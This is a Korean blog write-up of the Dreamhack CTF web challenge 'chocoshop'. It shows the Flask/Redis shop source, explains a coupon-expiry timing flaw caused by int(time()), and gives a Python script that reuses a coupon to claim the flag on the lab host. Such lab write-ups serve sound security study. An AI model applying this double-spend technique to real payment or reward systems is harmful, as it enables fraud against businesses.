본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] chocoshop write up

 

바로 코드를 보자.

from flask import Flask, request, jsonify, current_app, send_from_directory
import jwt
import redis
from datetime import timedelta
from time import time
from werkzeug.exceptions import default_exceptions, BadRequest, Unauthorized
from functools import wraps
from json import dumps, loads
from uuid import uuid4

r = redis.Redis()
app = Flask(__name__)

# SECRET CONSTANTS
# JWT_SECRET = 'JWT_KEY'
# FLAG = 'DH{FLAG_EXAMPLE}'
from secret import JWT_SECRET, FLAG

# PUBLIC CONSTANTS
COUPON_EXPIRATION_DELTA = 45
RATE_LIMIT_DELTA = 10
FLAG_PRICE = 2000
PEPERO_PRICE = 1500


def handle_errors(error):
    return jsonify({'status': 'error', 'message': str(error)}), error.code


for de in default_exceptions:
    app.register_error_handler(code_or_exception=de, f=handle_errors)


def get_session():
    def decorator(function):
        @wraps(function)
        def wrapper(*args, **kwargs):
            uuid = request.headers.get('Authorization', None)
            if uuid is None:
                raise BadRequest("Missing Authorization")

            data = r.get(f'SESSION:{uuid}')
            if data is None:
                raise Unauthorized("Unauthorized")

            kwargs['user'] = loads(data)
            return function(*args, **kwargs)
        return wrapper
    return decorator


@app.route('/flag/claim')
@get_session()
def flag_claim(user):
    if user['money'] < FLAG_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= FLAG_PRICE
    return jsonify({'status': 'success', 'message': FLAG})


@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
    if user['money'] < PEPERO_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= PEPERO_PRICE
    return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})


@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")


    used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')


@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})


@app.route('/session')
def make_session():
    uuid = uuid4().hex
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
        {'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
    return jsonify({'session': uuid})


@app.route('/me')
@get_session()
def me(user):
    return jsonify(user)


@app.route('/')
def index():
    return current_app.send_static_file('index.html')

@app.route('/images/<path:path>')
def images(path):
    return send_from_directory('images', path)

 

flag를 user['money']가 2000원이 있어야 살 수 있다. 세션을 통해 사용자를 관리하기 때문에 세션 설정 부분을 보자.

 

 

/session에 접근 시 setex로 랜덤 uuid값을 생성 해 세션 id로 설정하고 있다. 만료시간은 10분이고, 직렬화 하여 저장하고 있다. 저장되는 값을 보면. uuid, coupon_claimed: False, money값이다. get_session을 보자.

 

 

요청 헤더에 Authorization이라는 헤더에서 값을 가져와 uuid값으로 설정 후 radis에 저장한 uuid와 비교하고 있다. uuid가 일치하면 접근을 허용한다.

 

돈을 어떻게 벌어야되나 찾아보니, 

 

 

쿠폰을 사용하면 돈이 벌린다. 쿠폰을 사용해보자. 먼저, 세션을 생성한다.

 

 

쿠폰 사용을 하고 /me에 접근하여 확인한다.

 

 

money가 1000이 되어 있다. 이제 1000원만 더 벌면 된다. 쿠폰 발급은 사용자 별로 1회로 제한되어 있으며 다른 사용자의 쿠폰을 사용하는 것 역시 막혀 있다. 문제의 힌트를 받아 쿠폰 재사용 로직이 취약하다는 점을 이용해 이 부분으로 공격벡터를 찾아본다.

 

 

위 사진이 해당 부분이다. r.setnx(used_coupon, 1)로 사용된 쿠폰인지 판단한다. used_coupon은 1로 설정되고 쿠폰 만료시간인 45초가 지나면 같이 다시 만료된다. 

 

위 표시한 부분들을 보면 time() 함수가 int로 감싸져 있다. time() 함수의 경우 소수점까지 반환해주지만 int로 감싸기 때문에 반올림하여 값이 나오게 된다. 즉 45.2초도 45로 인식되게 된다. 즉 45 ~ 45.5 사이에 요청을 한 번 더 보낸다면 만료시간이 넘지 않은걸로 되어 첫 번째 if문은 우회하나 r.setnx(used_coupon, 1)은 초기화되어 쿠폰 재사용이 가능하다.

 

이점을 이용해 파이썬 스크립트를 작성하자.

 

import requests, json
from time import sleep

url = 'http://host3.dreamhack.games:17393/'

def get_auth_token(url):
    result = requests.get(url + 'session')

    return result.text


def exploit(url, auth_token):

    header = {
        'Authorization': auth_token
    }

    coupon =  json.loads(requests.get(url + 'coupon/claim',headers=header).text)['coupon']
    print(coupon)
    header['coupon'] = coupon

    result = requests.get(url + 'coupon/submit', headers=header)
    print(result.text)

    sleep(45)

    result = requests.get(url + 'coupon/submit', headers=header)
    print(result.text)

    header = {'Authorization': auth_token}
    result = requests.get(url + 'flag/claim', headers=header)
    print(result.text)

if __name__ == "__main__":
    auth_token = json.loads(get_auth_token(url))['session']
    print(auth_token)

    exploit(url, auth_token)

 

sleep(45) 후 바로 요청을 보내 쿠폰 만료를 우회 한다.

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] file-csp-1 write up  (0) 2024.04.23
[Dreamhack] baby-sqlite write up  (0) 2024.04.22
[Dreamhack] web-deserialize-python write up  (0) 2024.04.16
[Dreamhack] login-1 write up  (0) 2024.04.14
[Dreamhack] what-is-my-ip write up  (1) 2024.04.13